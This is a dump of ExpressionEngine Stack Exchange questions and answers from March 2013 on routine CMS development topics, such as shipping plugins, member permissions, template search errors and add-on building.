  <row Id="6974" PostTypeId="1" AcceptedAnswerId="6995" CreationDate="2013-03-04T18:35:48.420" Score="3" ViewCount="301" Body="&lt;p&gt;To keep a long story short. I'm running EE2.5.5 CMS and Exp:resso Store for the e-commerce bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client sells a few items from his website, but has a warehouse do the shipping for him and they bill him once a month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use the UPS Shipping plugin that comes with Store, however I cannot get the Access Key, Username, Password required to calculate shipment costs... because that info does not belong to my client, it belongs to the warehouse who uses that same account to ship a variety of packages for other customers such as my client. When contacted, they mentioned something about a Generic UPS quoting account. is there such a thing? If not, how would you recommend me getting around this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original idea was to use the Default Shipping Plugin, but there's just too many variations for the client to keep track of and not lose money on when shipping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1104" LastActivityDate="2013-06-18T18:11:40.213" Title="Need shipping help for EE Exp:resso Store" Tags="|expresso-store|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6975" PostTypeId="2" ParentId="6951" CreationDate="2013-03-04T18:47:51.660" Score="1" Body="&lt;p&gt;How about a cron job? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a 1st party add-on here:&#xA;&lt;a href=&quot;https://github.com/EllisLab/Cron-Email/blob/master/cron_email/pi.cron_email.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/EllisLab/Cron-Email/blob/master/cron_email/pi.cron_email.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or commercial add-on:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/automatee&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/automatee&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though not sure how that would work with a specific date off the top of my head, but theoretically, can it not email a group of people by passing date variables into the parameters once an entry is created or something?&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2013-03-04T18:47:51.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6976" PostTypeId="1" CreationDate="2013-03-04T19:01:29.903" Score="1" ViewCount="122" Body="&lt;p&gt;We have a unique problem where we still want the fields on the entry page to be available to view but have them disabled so they cannot be changed. So the editor group sees the field but cannot edit it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A plug that allows us to show a panel with the information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers,&lt;/p&gt;&#xA;" OwnerUserId="1105" LastEditorUserId="28" LastEditDate="2013-03-10T00:15:45.070" LastActivityDate="2013-03-10T00:15:45.070" Title="Disable Fields On Publish Page" Tags="|fields|entry|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6977" PostTypeId="1" AcceptedAnswerId="7209" CreationDate="2013-03-04T20:30:17.160" Score="1" ViewCount="107" Body="&lt;p&gt;What is the best method to restrict a custom Member Group's access to Member Preferences and Member Fields? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a Group that needs to be able to manage member data, but not have access to the other &quot;settings&quot; areas.&lt;/p&gt;&#xA;" OwnerUserId="158" LastActivityDate="2013-03-10T12:05:10.957" Title="Restrict access to Member Preferences &amp; Member Fields" Tags="|members|control-panel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6978" PostTypeId="1" CreationDate="2013-03-04T20:46:47.773" Score="1" ViewCount="122" Body="&lt;p&gt;I'm working on a site where I utilise a custom field to store a pipe-delimited list of related entries, in order to sort Playa's reverse related entries. This looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel='deals'&#xA;    limit='1'&#xA;}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    {exp:playa:parents&#xA;        channel='products'&#xA;        var_prefix='parent'&#xA;        fixed_order='{deal_text_product_order}'&#xA;    }&#xA;        &amp;lt;li&amp;gt;{parent:title}&amp;lt;/li&amp;gt;&#xA;    {/exp:playa:parents}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now this works fine, my client can order their products (I'm doing this in Safecracker, with jQuery UI Sortable) &quot;and all was well with the world&quot;. However, if they add a product after the order's been set, the product isn't shown because it's not in the list in the &lt;code&gt;fixed_order&lt;/code&gt; parameter. Ideally I'd want any products not in the pipe-delimited list to be shown after the products that were in the list... Is there any way to achieve that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example my client sorts the products as &lt;code&gt;3|1|4|2&lt;/code&gt;, and then publishes new products with ID &lt;code&gt;5&lt;/code&gt; and &lt;code&gt;6&lt;/code&gt;, I'd like them to be appended after products 3, 1, 4 and 2, displaying the products in the order 3 1 4 2 5 6. Does that make sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="195" LastEditorUserId="195" LastEditDate="2013-03-04T21:56:00.597" LastActivityDate="2013-03-10T12:33:22.623" Title="fixed_order parameter alteration?" Tags="|playa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6979" PostTypeId="2" ParentId="6976" CreationDate="2013-03-04T21:08:41.537" Score="0" Body="&lt;p&gt;How about using Field Instructions instead of a field itself?  Is this something that needs to be updated frequently by someone without access to edit custom fields?&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-04T21:08:41.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6980" PostTypeId="2" ParentId="6977" CreationDate="2013-03-04T21:41:30.093" Score="0" Body="&lt;p&gt;This isn't possible.  The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html#can-administrate-members-accounts&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Can administrate members accounts&lt;/strong&gt;&lt;/a&gt; setting for a member group is all or nothing.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-04T21:41:30.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6981" PostTypeId="1" CreationDate="2013-03-04T21:44:02.747" Score="-1" ViewCount="60" Body="&lt;p&gt;I am creating a channel field using matrix and when I make a cell for files, I cannot choose file type. the selection is empty. The reason I ask is because when i use the cell to upload an image the image displays distorted. &lt;/p&gt;&#xA;" OwnerUserId="1107" LastActivityDate="2013-03-04T21:58:43.613" Title="Cannot Choose File type in Matrix file selection" Tags="|matrix|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6982" PostTypeId="2" ParentId="6976" CreationDate="2013-03-04T21:46:30.023" Score="1" Body="&lt;p&gt;Best way is to write you own JS to disable input into the fields. The &lt;a href=&quot;http://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CP CSS &amp;amp; JS addon&lt;/strong&gt;&lt;/a&gt; lets you add custom code to the CP.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;input&quot;).attr('disabled','disabled');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-04T21:46:30.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6983" PostTypeId="1" AcceptedAnswerId="6986" CreationDate="2013-03-04T21:54:19.140" Score="0" ViewCount="78" Body="&lt;p&gt;I am wanting to change the file manager from EE File Manager to Assets 2 in Wyvern preferences.  Currently the site has numerous entries with images embedded within the Wyvern custom fields.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will changing the file manager mess up anything with those images?&#xA;Any steps needed before making that switch?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="31" LastActivityDate="2013-03-04T22:02:21.267" Title="File Manager change in Wyvern mess up current entries?" Tags="|pixelandtonic|assets|wyvern|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6984" PostTypeId="1" CreationDate="2013-03-04T21:58:02.987" Score="1" ViewCount="203" Body="&lt;p&gt;I am trying to create an unsubscribe link for the built in EE mailing list module that can be sent out without going through the Communicate page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that within my email template, I can use the {unsubscribe_url} tag, but I need a way to allow users to unsubscribe when messages aren't sent through that template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way to generate an unsubscribe link, or can I set up a page with a form where users can enter their email address manually to unsubscribe?&lt;/p&gt;&#xA;" OwnerUserId="213" LastActivityDate="2013-03-04T22:09:30.443" Title="Create an unsubscribe link for an EE mailing list outside of the email template" Tags="|email|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6985" PostTypeId="2" ParentId="6981" CreationDate="2013-03-04T21:58:43.613" Score="0" Body="&lt;p&gt;Distortion of the image in your template is most likely is not coming from your Matrix field settings. Check your template code to make sure you don't have hard coded width or height. Also, look at CSS to make sure height or width isn't set there.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-04T21:58:43.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6986" PostTypeId="2" ParentId="6983" CreationDate="2013-03-04T22:02:21.267" Score="0" Body="&lt;p&gt;Shouldn't make a difference, the images are all linked with the {filedir_X} paths once its saved to the DB, then are turned back into URLs when rendered in the template. I doubt you'll have any issues, but would not hurt to back up the DB first.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2013-03-04T22:02:21.267" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6987" PostTypeId="1" CreationDate="2013-03-04T22:05:19.767" Score="2" ViewCount="512" Body="&lt;p&gt;Wondering how i can send a HTML email to a user upon registering, I am using Freemember which i believe uses the default EE Email Notification Templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="865" LastActivityDate="2016-01-26T09:37:14.250" Title="HTML email support for member registration" Tags="|freemember|registration|register|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6988" PostTypeId="2" ParentId="6984" CreationDate="2013-03-04T22:09:30.443" Score="1" Body="&lt;p&gt;There are no tags to generate the unsubscribe link but if you know the email address that needs to be unsubscribed you can query the database to grab the &quot;Authcode&quot; which is needed to create the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;http://ellislab.com/forums/viewthread/221774/#1034633&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;post on the EE Forum&lt;/strong&gt;&lt;/a&gt; details how to accomplish this.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-04T22:09:30.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6989" PostTypeId="2" ParentId="6987" CreationDate="2013-03-04T22:20:11.100" Score="2" Body="&lt;p&gt;You need to first enable HTML emails in the &lt;a href=&quot;https://docs.expressionengine.com/v2/cp/admin/email_configuration.html#default-mail-format&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Email Configuration&lt;/strong&gt;&lt;/a&gt; settings (Control Panel Location: Admin ‣ Email Configuration).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then edit the &lt;a href=&quot;https://docs.expressionengine.com/v2/cp/design/message_pages/index.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Member Account Activation Instructions template&lt;/strong&gt;&lt;/a&gt; and any other template you want served as HTML.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="425" LastEditDate="2016-01-26T09:37:14.250" LastActivityDate="2016-01-26T09:37:14.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6990" PostTypeId="1" AcceptedAnswerId="7022" CreationDate="2013-03-04T22:51:55.493" Score="1" ViewCount="152" Body="&lt;p&gt;We're having an issue with a Playa field in Postmaster:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically this should work, but it doesn't:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parcel:company_membership_package}&#xA;  {title}&#xA;{/company_membership_package}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We're getting these messages which seem to indicate that Playa is at fault. I haven't look at it in detail, so it may actual be Postmaster sending the data wrongly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: entry_id&#xA;Filename: playa/ft.playa.php&#xA;Line Number: 2281&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Same message repeated with line 2285 and 2287. I wouldn't be concerned about these notices, except that the data isn't retrieved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Paul&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Screenshots.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uVkAI.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YKtka.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7wfvr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="942" LastEditorUserId="942" LastEditDate="2013-03-05T10:58:16.433" LastActivityDate="2013-03-05T16:28:05.737" Title="Playa field in Postmaster" Tags="|playa|postmaster|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6991" PostTypeId="1" AcceptedAnswerId="7005" CreationDate="2013-03-04T23:00:28.507" Score="1" ViewCount="104" Body="&lt;p&gt;I'm using EE2's simple search like so.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form result_page=&quot;search&quot; search_in=&quot;title&quot; status=&quot;open&quot; channel=&quot;gg_store&quot;}&#xA;     &amp;lt;input type=&quot;text&quot; id=&quot;searchBox&quot; name=&quot;keywords&quot; placeholder=&quot;Search&quot; /&amp;gt;&#xA;     &amp;lt;input type=&quot;submit&quot; id=&quot;searchSubmit&quot; name=&quot;searchSubmit&quot; value=&quot;GO&quot; /&amp;gt;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and my search results, using {exp:store:product} looks like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results}&#xA;                {exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;                    &amp;lt;div id=&quot;product-list&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;itemtitle&quot;&amp;gt;&amp;lt;a href=&quot;{url_title_path='/the-collection/product-detail/'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;a href=&quot;{url_title_path='/the-collection/product-detail/'}&quot;&amp;gt;{gallery_image_1} &amp;lt;img src=&quot;{path}_252x252/{filename}.{extension}&quot; width=&quot;100%&quot; /&amp;gt; {/gallery_image_1}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;                        &amp;lt;?php echo StringLimiter('{e_comm_body}','160'); ?&amp;gt;&#xA;                        &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                        &amp;lt;div style=&quot;float:right;&quot;&amp;gt;&#xA;                            &amp;lt;span class=&quot;BTN updateBTN&quot;&amp;gt;&#xA;                                &amp;lt;a href=&quot;{url_title_path='/{e_comm_type}/product-detail/'}&quot;&amp;gt;Learn More...&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/span&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&amp;lt;!-- //control-group --&amp;gt;&#xA;                        {if on_sale}&#xA;                            &amp;lt;del&amp;gt;{regular_price}&amp;lt;/del&amp;gt;&#xA;                            &amp;lt;span class=&quot;price&quot;&amp;gt;{price}&amp;lt;/span&amp;gt;&#xA;                        {if:else}&#xA;                            &amp;lt;span class=&quot;price&quot;&amp;gt;{price}&amp;lt;/span&amp;gt;&#xA;                        {/if}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/exp:store:product}&#xA;        {/exp:search:search_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's my &quot;issue&quot;, this works 90% of the time. I'm building a website that sells only a few items. They are stored in the gg_store channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i search a term like mma, pads, shin, it seems to be working properly. But for whatever reason, certain terms throw a weird EE error.&#xA;Terms like Gloves, Gear... and this is the error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected T_STRING in /system/expressionengine/libraries/Functions.php(683) : eval()'d code on line 321&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did narrow down, the reason that causes it... it's {e_comm_type}. If i remove that all of a sudden every search term i can think of starts working.&#xA;{e_comm_type} is a custom field which stores info like &quot;The Collection&quot;, &quot;Victory Athletics&quot;, &quot;Apparel&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea's why and how to fix this? I need to use {e_comm_type} to properly set the url destination.&lt;/p&gt;&#xA;" OwnerUserId="1104" LastEditorUserId="150" LastEditDate="2013-03-05T09:52:41.003" LastActivityDate="2013-03-05T09:55:02.700" Title="Using EE Search with Store" Tags="|expresso-store|simple-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6992" PostTypeId="1" CreationDate="2013-03-04T23:33:54.617" Score="1" ViewCount="228" Body="&lt;p&gt;Is it possible to add custom form fields to the EE comment form? What I would like to do is to require people to be logged in members to post but allow them to comment anonymously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add a checkbox with a &quot;Reply Anonymously&quot; option it doesn't record the checkbox state in the exp_comments table.&lt;/p&gt;&#xA;" OwnerUserId="440" LastActivityDate="2013-05-28T04:07:28.750" Title="Comment Form Custom Form Field" Tags="|comments|comment-form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6993" PostTypeId="1" AcceptedAnswerId="7058" CreationDate="2013-03-05T00:16:48.360" Score="3" ViewCount="296" Body="&lt;p&gt;My goal is to have a REST endpoint that I can push AJAX requests to, have those requests be parsed, potentially push some data into the DB via a channel, and then return a JSON status message. I don't want to have to put PHP into a template to accomplish this, and am happy to write an add-on of some sort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please don't suggest add-ons. I want to know how I would go about writing my own add-on to accomplish this.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;My question:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;From a high level, how would I start writing this add-on? Specifically, how would I route a custom URL to my add-on code? What type of add-on should I be building for this (i.e. Module, Extension, something else)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is something I've done a number of times with other web frameworks (including CodeIgniter), but for some reason I'm finding it very difficult to get information on how this would be done in EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I've tried to make this question more clear. I'm specifically looking for advice about add-on creation. Based on my re-reading of all the EllisLab add-on docs and a lot of time searching the web, I'm starting to feel like this isn't something EE can do without an incredible amount of hacking. I'm really hoping that's not the case.&lt;/p&gt;&#xA;" OwnerUserId="163" LastEditorUserId="163" LastEditDate="2013-03-05T12:14:30.067" LastActivityDate="2013-03-06T03:05:07.147" Title="Building an add-on that accepts data from a custom front-end URL" Tags="|add-on-development|url|ajax|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6994" PostTypeId="1" AcceptedAnswerId="7263" CreationDate="2013-03-05T01:18:34.147" Score="3" ViewCount="513" Body="&lt;p&gt;I currently have 31 native EE file upload paths all pointing to a location within /images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to serve all of my image assets from an S3 bucket, so I've created images.domainname.com. I've also copied the entire image structure to this bucket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to run a query on the existing upload paths and convert them to point to the S3 source instead of the native one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than losing the ability to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/4937/with-assets-2-is-it-possible-to-restrict-upload-access-to-a-folder-within-an-s3&quot;&gt;restrict upload directories&lt;/a&gt;, is there a reason to not do this?&lt;/p&gt;&#xA;" OwnerUserId="133" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-03-12T20:26:21.293" Title="Is it possible to convert an EE File Upload path to Assets S3?" Tags="|assets|pixelandtonic|s3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6995" PostTypeId="2" ParentId="6974" CreationDate="2013-03-05T02:05:11.757" Score="3" Body="&lt;p&gt;You should be fine creating your own account with UPS and using that as the API that is used only gets the live rates and does not actually create a shipping ticket in UPS so your account shouldn't be charged anything. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-03-05T02:05:11.757" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6996" PostTypeId="2" ParentId="6992" CreationDate="2013-03-05T02:15:11.173" Score="1" Body="&lt;p&gt;You cannot use custom fields in the comment form but you can repurpose any of the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/comment/index.html#comment-submission-form&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;native fields&lt;/strong&gt;&lt;/a&gt; to use as needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might look at repurposing the &quot;location&quot; or &quot;url&quot; field and passing your value to that column in the database..&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-05T02:15:11.173" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="6997" PostTypeId="2" ParentId="6993" CreationDate="2013-03-05T02:19:11.763" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow noreferrer&quot;&gt;Switchee&lt;/a&gt; is a plugin that will let use switch/case logic in your EE templates and allow you to use your template more like a controller, responding with different chunks of code based on the variable/s you test against. I will commonly use it and test against EE's segment variables so I can combine a channel listing and single entry into the one template, creating a more succinct URL structure than the standard EE template-group/template/variable URL. You could also use it to setup a simple API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also a few routing add-ons for EE -- &lt;a href=&quot;http://devot-ee.com/add-ons/freeway&quot; rel=&quot;nofollow noreferrer&quot;&gt;Freeway&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/router&quot; rel=&quot;nofollow noreferrer&quot;&gt;Router&lt;/a&gt; -- that may be what you are after. I haven't used either but there is a &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/811/freeway-or-router&quot;&gt;comparison&lt;/a&gt; on StackExchange.&lt;/p&gt;&#xA;" OwnerUserId="975" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-03-05T02:19:11.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6998" PostTypeId="2" ParentId="6974" CreationDate="2013-03-05T02:21:48.137" Score="2" Body="&lt;p&gt;Sure. Just call UPS and ask to set up an account. They will need a credit card, but as Justin mentioned Store doesn't request any shipments, so unless you do there won't be any charges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what we did to develop the shipping integration for Store, so I know it's possible :) The UPS site and processes are a bit of a nightmare, but once you figure that out it's all downhill. If you're stuck, it's usually easier to call them rather than fighting with their website.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-05T02:21:48.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6999" PostTypeId="1" AcceptedAnswerId="7001" CreationDate="2013-03-05T04:15:41.310" Score="1" ViewCount="64" Body="&lt;p&gt;I've been working on a forum locally and I'm wanting to move it to the live server. I've exported all the db tables and then imported into the live site and added a row to the modules table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the forum module control panel OK, but when I visit the URL for the forum on the live site, I get a 404. So it seems like I've missed something that needs bringing over. Anyone know what that might be?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-03-05T04:25:23.497" Title="Moving a forum from development to production" Tags="|forum|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7000" PostTypeId="2" ParentId="6999" CreationDate="2013-03-05T04:22:40.923" Score="1" Body="&lt;p&gt;Are you running the forum through a regular template? If so, have you synced the templates on the live site? What about .htaccess? If you're using the &quot;exclude&quot; method you might need to add your forum template (group) there (again, if running through a regular template). &lt;/p&gt;&#xA;" OwnerUserId="380" LastActivityDate="2013-03-05T04:22:40.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7001" PostTypeId="2" ParentId="6999" CreationDate="2013-03-05T04:25:23.497" Score="3" Body="&lt;p&gt;I ran into this once. Needed to have the following in my config:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;$config['forum_is_installed'] = 'y';&lt;/pre&gt;&#xA;" OwnerUserId="356" LastActivityDate="2013-03-05T04:25:23.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7002" PostTypeId="2" ParentId="6846" CreationDate="2013-03-05T04:40:48.857" Score="1" Body="&lt;p&gt;If you are trying to return data other than JSON I ended up using the following instead. It's mostly ripped off from the same send_ajax_response function that Bhashkar was kind enough to lead me to. You should probably choose the proper Content-Type (so maybe if it was XML it would be different?).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('send_headers') == 'y';&#xA;@header('Content-Type: text/html; charset=UTF-8');&#xA;exit($output);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="565" LastActivityDate="2013-03-05T04:40:48.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7003" PostTypeId="2" ParentId="6879" CreationDate="2013-03-05T04:57:15.167" Score="1" Body="&lt;p&gt;If anyone is interested, EE was crapping out because the server admin had &quot;secured&quot; the server by putting the &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.0/en/server-sql-mode.html#sqlmode_only_full_group_by&quot; rel=&quot;nofollow&quot;&gt;ORDER_FULL_GROUP_BY&lt;/a&gt; directive in the sql_mode of my.cnf. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not &lt;em&gt;entirely&lt;/em&gt; sure what it does but it seems to block some essential GROUP_BY queries. This didn't seem to be documented anywhere so hopefully somewhere down the road, this comes up useful for someone and saves them half a day of going down the rabbit hole.&lt;/p&gt;&#xA;" OwnerUserId="765" LastActivityDate="2013-03-05T04:57:15.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7004" PostTypeId="2" ParentId="6978" CreationDate="2013-03-05T09:45:38.663" Score="2" Body="&lt;p&gt;Low Reorder has this exact functionality you describe. New entries are added to either the beginning or end of a manually ordered list. But this only works thru the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-reorder&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-reorder&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could possibly write a custom SQL query to update the Low Reorder tables with the External Entries add-on. Low Reorder uses a table called &quot;exp_low_reorder_orders&quot; thats just a list of entry ids. External Entries can be called from any EE template:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Put the plugin in its own EE template, call the template with jQuery’s .load() and .live() functions for AJAXy goodness, and your web site is now a web app!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://engaging.net/products/external-entries&quot; rel=&quot;nofollow&quot;&gt;http://engaging.net/products/external-entries&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-05T09:45:38.663" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7005" PostTypeId="2" ParentId="6991" CreationDate="2013-03-05T09:55:02.700" Score="0" Body="&lt;p&gt;This sounds like a parse order bug. Unfortunately, there's not much you can do except work around it (unless you want to report it to EL, but I wouldn't hold your breath waiting for a fix :).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would try putting the search result display template code into an embed, and passing through the variables you need. This solves 90% of parse order issues I've seen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results}&#xA;    {embed=&quot;embed/.search_result&quot;}&#xA;{/exp:search:search_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-03-05T09:55:02.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
